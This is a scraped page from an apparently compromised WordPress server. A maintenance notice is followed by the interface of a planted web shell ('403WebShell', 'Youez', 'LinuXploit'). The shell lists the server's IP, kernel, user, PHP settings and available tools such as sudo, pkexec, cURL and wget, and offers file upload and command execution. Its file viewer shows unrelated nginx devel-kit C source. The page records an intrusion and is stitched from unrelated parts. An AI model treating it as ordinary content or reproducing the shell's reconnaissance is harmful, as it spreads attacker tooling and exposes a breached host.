WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
Uname:Linux wp 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64

Base Dir : /var/www/eduesan

User : www-data


403WebShell
403Webshell
Server IP : 202.131.237.196  /  Your IP : 216.73.216.192
Web Server : nginx/1.14.0
System : Linux wp 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.2.24-0ubuntu0.18.04.17
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/nginx/src/ngx_devel_kit/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/nginx/src/ngx_devel_kit/src/ndk_complex_path.c

ndk_http_complex_path_value_t     ndk_empty_http_complex_path_value = {{0,NULL},0};


ngx_int_t
ndk_http_complex_path_value_compile (ngx_conf_t *cf, ngx_http_complex_value_t *cv, ngx_str_t *value, ngx_uint_t prefix)
{
    ngx_http_compile_complex_value_t   ccv;

    ngx_memzero (&ccv, sizeof(ngx_http_compile_complex_value_t));

    ccv.cf = cf;
    ccv.value = value;
    ccv.complex_value = cv;

    switch (prefix) {

    case    1 :
        ccv.root_prefix = 1;
        break;

    case    2 :
        ccv.conf_prefix = 1;
        break;
    }

    ndk_path_to_dir_safe (value, 1, 0);

    if (!value->len)
        return  NGX_OK;

    return  ngx_http_compile_complex_value (&ccv);
}



ngx_array_t *
ndk_http_complex_path_create_compile (ngx_conf_t *cf, ngx_str_t *path, ngx_uint_t prefix)
{
    ndk_http_complex_path_elt_t     *cpe;
    ngx_array_t                     *a;
    ngx_int_t                        n;
    u_char                          *m, *s, *e;
    ngx_str_t                        value;

    n = ndk_strcntc (path, ':') + 1;

    a = ngx_array_create (cf->pool, n, sizeof (ndk_http_complex_path_elt_t));
    if (a == NULL) {
        return  NULL;
    }

    s = path->data;
    e = s + path->len;


    while (s < e) {

        m = s;

        while (m < e && *m != ':') m++;

        if (m == s) {
            s = m+1;
            continue;
        }

        cpe = ngx_array_push (a);
        if (cpe == NULL) {
            return  NULL;
        }

        if (*s == '#') {
            s++;
            cpe->dynamic = 1;
        } else {
            cpe->dynamic = 0;
        }

        value.data = s;
        value.len = m - s;

        if (ndk_http_complex_path_value_compile (cf, &cpe->val, &value, prefix) == NGX_ERROR)
            return  NULL;

        s = m+1;
    }

    return  a;
}




char *
ndk_conf_set_http_complex_path_slot (ngx_conf_t *cf, ngx_command_t *cmd, void *conf)
{
    char  *p = conf;

    ngx_str_t                   *path;
    ngx_array_t                 *a;
    ngx_conf_post_t             *post;
    ndk_http_complex_path_t     *cp;

    cp = (ndk_http_complex_path_t *) (p + cmd->offset);

    if (cp->a != NGX_CONF_UNSET_PTR) {
        return  "is duplicate";
    }

    path = cf->args->elts;
    path++;

    cp->a = ndk_http_complex_path_create_compile (cf, path, cp->prefix);
    if (cp->a == NULL)
        /* TODO : log */
        return  NGX_CONF_ERROR;

    if (cmd->post) {
        post = cmd->post;
        return  post->post_handler (cf, post, a);
    }

    return  NGX_CONF_OK;
}




Youez - 2016 - github.com/yon3zu
LinuXploit